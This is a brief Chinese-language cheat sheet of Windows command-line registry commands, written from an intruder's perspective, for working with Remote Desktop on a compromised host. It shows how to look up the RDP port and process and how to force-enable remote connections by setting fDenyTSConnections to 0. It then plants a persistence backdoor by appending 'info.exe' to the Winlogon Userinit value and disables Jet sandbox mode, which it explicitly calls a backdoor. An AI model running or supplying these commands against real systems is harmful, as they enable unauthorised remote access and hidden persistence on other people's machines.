命令列3389相關

1.查看3389連接埠，很多變態管理員會修改為其它的：

REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber 這條命令是查看遠端桌面連線所開的連接埠是多少 一般預設顯示是0xd3d   也就是3389

2.查看3389的svchost的進程的pid，這樣可以結合netstat -ano來看3389的監聽連接埠 【目的與1類似】

tasklist /svc

然後找如下（則遠程進程號為1348）：

svchost.exe                 1348 DcomLaunch, TermService

 

3.查看是否允許遠端連線，也就是“我的電腦”屬性的“遠程”裡面，勾上沒有

REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections

如是0x0，則可以串連，考慮是否有tcp過濾或者防火牆了，為0x1，則需要修改為0

REG add HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /d 0 /t REG_DWORD /f

 

4.其它：

  查看遠程終端服務啟動沒有：

   net start 命令後，找“Terminal Services”，有則服務是啟動的

  

===================

注意：Terminal" "Server 中間有空格，所以加“”

 

 

 

另外來一個reg add命令增加字串的，如：

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"   /v Userinit /d "C:\WINDOWS\system32\userinit.exe,info.exe," /t REG_SZ  /f

啟用沙箱（作為後門)

 

reg add "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine"  /v SandBoxMode  /d 0 /t REG_DWORD /f

 

命令列/控制台通過dos命令查看虛擬目錄：

reg query "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots" /v /